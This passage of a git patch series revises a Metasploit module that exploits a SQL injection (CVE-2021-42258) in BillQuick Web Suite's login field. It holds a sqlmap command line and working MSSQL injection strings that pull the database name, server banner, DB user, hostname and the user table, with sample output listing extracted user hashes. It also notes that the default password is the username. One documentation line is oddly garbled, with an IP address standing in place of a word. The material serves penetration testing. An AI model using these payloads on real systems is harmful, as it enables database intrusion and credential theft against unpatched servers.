-u "http://[IP]/ws2020/default.aspx" -f txtID --data="__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE=[VIEWSTATE]&__VIEWSTATEGENERATOR=[GENERATOR]&__EVENTVALIDATION=[VALIDATION]&txtID=a&txtPW=a&hdnClientDPI=96" --dbms MSSQL --time-sec 15 --batch +``` From 258f38090d859b51ce8224ca683842d223296454 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 5 Nov 2021 15:04:33 -0400 Subject: [PATCH 4/6] no more duplicate text --- .../modules/auxiliary/scanner/http/billquick_txtid_sqli.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md index a3fa14a467..5cb2b64d01 100644 --- a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md @@ -25,7 +25,7 @@ This install can be rather complicated and take about 2hrs to install. 1. visit http:///ws2020 and finish the install/config Even at this point, 2 people with these instructions and one independently were unable to login to -the webapp at this point. It can be SQLi, but no one was able to use it successfully. +the webapp. It can be SQLi, but no one was able to use it successfully. ## Verification Steps From e067535b729d73282acb6e64eb38b65917004c9b Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Nov 2021 06:29:56 -0400 Subject: [PATCH 5/6] billquick review updates --- .../http => gather}/billquick_txtid_sqli.md | 65 +++++++++++++++---- .../http => gather}/billquick_txtid_sqli.rb | 48 +++++++++++--- 2 files changed, 93 insertions(+), 20 deletions(-) rename documentation/modules/auxiliary/{scanner/http => gather}/billquick_txtid_sqli.md (62%) rename modules/auxiliary/{scanner/http => gather}/billquick_txtid_sqli.rb (85%) diff --git a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md b/documentation/modules/auxiliary/gather/billquick_txtid_sqli.md similarity index 62% rename from documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md rename to documentation/modules/auxiliary/gather/billquick_txtid_sqli.md index 5cb2b64d01..f755e25775 100644 --- a/documentation/modules/auxiliary/scanner/http/billquick_txtid_sqli.md +++ b/documentation/modules/auxiliary/gather/billquick_txtid_sqli.md @@ -6,7 +6,7 @@ the database is required to be MSSQL. Luckily the website gives error based SQLi messages, so it is trivial to pull data from the database. However the webapp uses an unknown password security algorithm. This vulnerability does not seem to support stacked -queries. This module pulls the database name, banner, user, +queries. This module pulls the database name, 111.111.1.111, user, hostname, and the SecurityTable (user table). ### Install @@ -31,14 +31,14 @@ the webapp. It can be SQLi, but no one was able to use it successfully. 1. Install the application 1. Start msfconsole -1. Do: `use auxiliary/scanner/http/billquick_txtid_sqli` +1. Do: `use auxiliary/gather/billquick_txtid_sqli` 1. Do: `set rhosts [ip]` 1. Do: `run` 1. You should get info about the system and app. ## Options -### TIMEOUT +### HttpClientTimeout As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to `15` @@ -48,12 +48,15 @@ As noted in the original discovery writeup, and verified during exploitation, th ``` [*] Processing billquick.rb for ERB directives. -resource (billquick.rb)> use auxiliary/scanner/http/billquick_txtid_sqli -resource (billquick.rb)> set rhosts 1.1.1.1 -rhosts => 1.1.1.1 +resource (billquick.rb)> use auxiliary/gather/billquick_txtid_sqli +resource (billquick.rb)> set rhosts 111.111.1.111 +rhosts => 111.111.1.111 resource (billquick.rb)> set verbose true verbose => true +resource (billquick.rb)> check +[*] 111.111.1.111:80 - The target appears to be vulnerable. Version Detected: 21.0.11 resource (billquick.rb)> exploit +[*] Running module against 111.111.1.111 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version Detected: 21.0.11 [*] Getting Variables @@ -61,7 +64,11 @@ resource (billquick.rb)> exploit [*] VIEWSTATEGENERATOR: 35DBDDBD [*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4= [+] Current Database: test -[+] Banner: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) \n\tJul 9 2008 14:17:44 \n\tCopyright (c) 1988-2008 Microsoft Corporation\n\tDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)\n +[+] 111.111.1.111: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) + Jul 9 2008 14:17:44 + Copyright (c) 1988-2008 Microsoft Corporation + Developer Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM) + [+] DB User: sa [+] Hostname: WIN-EDKFSE5QPAB [+] User Count in test.dbo.SecurityTable: 2 @@ -74,13 +81,47 @@ resource (billquick.rb)> exploit EmployeeID Settings ---------- -------- - 111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0 - |0|0|0|0|0|0|0|0|0|0|0|0| - fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0| - 0|0|0|0|0|0|0|0|0|0|0| + 111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| + fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0| -[*] Scanned 1 of 1 hosts (100% complete) +[*] Default password is the username. [*] Auxiliary module execution completed +resource (billquick.rb)> hosts + +Hosts +===== + +address mac name os_name os_flavor os_sp purpose info comments +------- --- ---- ------- --------- ----- ------- ---- -------- +111.111.1.111 WIN-EDKFSE5QPAB Windows device Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Cor + porationDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM) + +resource (billquick.rb)> services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +111.111.1.111 80 tcp BillQuick Web Suite open + +resource (billquick.rb)> creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) sa Blank password +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) 111 D848281C Nonreplayable hash +111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) fl 45E97 Nonreplayable hash + +resource (billquick.rb)> notes + +Notes +===== + + Time Host Service Port Protocol Type Data + ---- ---- ------- ---- -------- ---- ---- + 2021-11-06 10:26:28 UTC 111.111.1.111 BillQuick Web Suite 80 tcp database "test" ``` ## SQLMap Equivalent diff --git a/modules/auxiliary/scanner/http/billquick_txtid_sqli.rb b/modules/auxiliary/gather/billquick_txtid_sqli.rb similarity index 85% rename from modules/auxiliary/scanner/http/billquick_txtid_sqli.rb rename to modules/auxiliary/gather/billquick_txtid_sqli.rb index 69bc0cfb54..ca220ac1ad 100644 --- a/modules/auxiliary/scanner/http/billquick_txtid_sqli.rb +++ b/modules/auxiliary/gather/billquick_txtid_sqli.rb @@ -6,8 +6,8 @@ class MetasploitModule < Msf::Auxiliary prepend Msf::Exploit::Remote::AutoCheck - include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report def initialize(info = {}) super( @@ -25,13 +25,16 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module - 'Caleb Stewart' # original PoC, analysis + 'Caleb Stewart ' # original PoC, analysis ], 'References' => [ ['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], ['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'], ['CVE', '2021-42258'] ], + 'DefaultOptions' => { + 'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request + }, 'DisclosureDate' => '2021-10-22', 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -43,8 +46,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']), - OptInt.new('TIMEOUT', [ true, 'The timeout for HTTP requests. Responses are slow.', 15]) + OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/']) ], self.class ) end @@ -54,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'default.aspx'), 'method' => 'GET' - }, datastore['TIMEOUT']) + }, datastore['HttpClientTimeout']) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 @@ -96,19 +98,19 @@ class MetasploitModule < Msf::Auxiliary 'txtPW' => '', 'hdnClientDPI' => '96' } - }, datastore['TIMEOUT']) + }, datastore['HttpClientTimeout']) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 res.body end - def run_host(_ip) + def run vprint_status('Getting Variables') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'default.aspx'), 'method' => 'GET' - }, datastore['TIMEOUT']) + }, datastore['HttpClientTimeout']) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 @@ -129,15 +131,26 @@ class MetasploitModule < Msf::Auxiliary footer_char = char_list(footer) int = Rex::Text.rand_text_numeric(4) + service = { + address: rhost, + port: datastore['RPORT'], + protocol: 'tcp', + service_name: 'BillQuick Web Suite', + workspace_id: myworkspace_id + } + report_service(service) + # all inject strings taken from sqlmap runs, using error page method res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation) /, table \\u0027(?
.+?)\\u0027/ =~ error_info(res) print_good("Current Database: #{table.split('.').first}") + report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first) res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) /\\u0027(?.+?)\\u0027/ =~ error_info(res) banner.slice!(header) banner.slice!(footer) + banner = banner.gsub('\n', "\n").gsub('\t', "\t") print_good("Banner: #{banner}") res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) @@ -145,6 +158,14 @@ class MetasploitModule < Msf::Auxiliary user.slice!(header) user.slice!(footer) print_good("DB User: #{user}") + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + private_type: :nonreplayable_hash, + private_data: '' + }.merge(service) + create_credential(credential_data) res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation) /\\u0027(?.+?)\\u0027/ =~ error_info(res) @@ -152,6 +173,8 @@ class MetasploitModule < Msf::Auxiliary hostname.slice!(footer) print_good("Hostname: #{hostname}") + report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS) + sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable" # get user count from SecurityTable @@ -189,7 +212,16 @@ class MetasploitModule < Msf::Auxiliary settings.slice!(footer) print_good("User #{username} settings: #{settings}") table << [username, settings] + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :nonreplayable_hash, # prob encrypted not hash, so lies. + private_data: settings.split('|').first + }.merge(service) + create_credential(credential_data) end print_good(table.to_s) + print_status('Default password is the username.') end end From 93038f43ceca2f44174a12166b77848f4e30269f Mon Sep 17 00:00:00 2001 From: space-r7 Date: Thu, 11 Nov 2021 11:37:55 -0600 Subject: [PATCH 6/6] replace fail_with() calls with CheckCode returns --- modules/auxiliary/gather/billquick_txtid_sqli.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/billquick_txtid_sqli.rb b/modules/auxiliary/gather/billquick_txtid_sqli.rb index ca220ac1ad..b6dc437456 100644 --- a/modules/auxiliary/gather/billquick_txtid_sqli.rb +++ b/modules/auxiliary/gather/billquick_txtid_sqli.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module - 'Caleb Stewart ' # original PoC, analysis + 'Caleb Stewart ' # original PoC, analysis ], 'References' => [ ['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'], @@ -57,8 +57,8 @@ class MetasploitModule < Msf::Auxiliary 'uri' => normalize_uri(target_uri.path, 'default.aspx'), 'method' => 'GET' }, datastore['HttpClientTimeout']) - fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? - fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 %r{Version: (?\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}} =~ res.body @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary return Exploit::CheckCode::Appears("Version Detected: #{version}") end rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service") end Exploit::CheckCode::Safe("Unexploitable Version: #{version}") end